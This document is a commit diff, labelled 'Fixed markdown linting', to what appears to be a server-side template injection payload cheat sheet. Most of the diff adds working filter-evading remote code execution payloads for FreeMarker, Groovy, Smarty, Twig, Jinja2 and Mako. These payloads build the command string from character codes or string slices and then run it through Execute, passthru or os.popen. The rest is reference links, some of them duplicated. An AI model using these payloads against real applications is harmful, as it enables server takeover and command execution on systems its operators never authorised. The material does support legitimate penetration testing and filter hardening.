Fixed markdown linting
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@@ -118,8 +118,8 @@ FreeMarker offers the built-in function: `lower_abc`. This function converts int
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If you wanted a string that represents the string: "id", you could use the payload: `${9?lower_abc+4?lower_abc)}`.
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Chaining `lower_abc` to perform code execution (command: `id`):
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```js
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${(6?lower_abc+18?lower_abc+5?lower_abc+5?lower_abc+13?lower_abc+1?lower_abc+18?lower_abc+11?lower_abc+5?lower_abc+18?lower_abc+1.1?c[1]+20?lower_abc+5?lower_abc+13?lower_abc+16?lower_abc+12?lower_abc+1?lower_abc+20?lower_abc+5?lower_abc+1.1?c[1]+21?lower_abc+20?lower_abc+9?lower_abc+12?lower_abc+9?lower_abc+20?lower_abc+25?lower_abc+1.1?c[1]+5?upper_abc+24?lower_abc+5?lower_abc+3?lower_abc+21?lower_abc+20?lower_abc+5?lower_abc)?new()(9?lower_abc+4?lower_abc)}
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```
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@@ -316,6 +316,7 @@ You can bypass security filters by constructing strings from ASCII codes and exe
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Payload represent the string: `id`: `${((char)105).toString()+((char)100).toString()}`.
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Execute system command (command: `id`):
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```groovy
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${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}${x=new/**/String();for(i/**/in[105,100]){x+=((char)i).toString()};x.execute().text}
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```
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@@ -419,4 +420,4 @@ ${pageContext.request.getSession().setAttribute("admin",true)}
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- [Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/)
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- [RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
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- [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
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- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack, Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
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- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack, Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
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@@ -66,6 +66,7 @@ Reference and explanation of payload can be found [here](https://www.yeswehack.c
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By employing the variable modifier `cat`, individual characters are concatenated to form the string "id" as follows: `{chr(105)|cat:chr(100)}`.
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Execute system comman (command: `id`):
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```php
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{{passthru(implode(Null,array_map(chr(99)|cat:chr(104)|cat:chr(114),[105,100])))}}
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```
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@@ -149,6 +150,7 @@ Twig's block feature and built-in `_charset` variable can be nesting can be used
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```
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The following payload, which harnesses the built-in `_context` variable, also achieves RCE – provided that the template engine performs a double-rendering process:
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```twig
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{{id~passthru~_context|join|slice(2,2)|split(000)|map(_context|join|slice(5,8))}}
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```
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@@ -267,6 +267,7 @@ Simple modification of the payload to clean up output and facilitate command inp
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Write the string: `id` using the index position of a known existing string (the index value may vary depending on the target): `{{self.__init__.__globals__.__str__()[1786:1788]}}`.
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Execute the system command `id`:
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```python
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{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}
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```
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@@ -418,6 +419,7 @@ PoC :
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In Mako, the following payload can be used to generates the string "id": `${str().join(chr(i)for(i)in[105,100])}`.
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Execute the system command `id`:
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```python
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${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
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```
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@@ -95,4 +95,4 @@ Once the template engine is identified, the attacker injects more complex expres
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- [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - August 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9)
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- [Template Engines Injection 101 - Mahmoud M. Awali - November 1, 2024](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
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- [Template Injection On Hardened Targets - Lucas 'BitK' Philippe - September 28, 2022](https://youtu.be/M0b_KA0OMFw)
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- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack, Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
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- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - YesWeHack, Brumens - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
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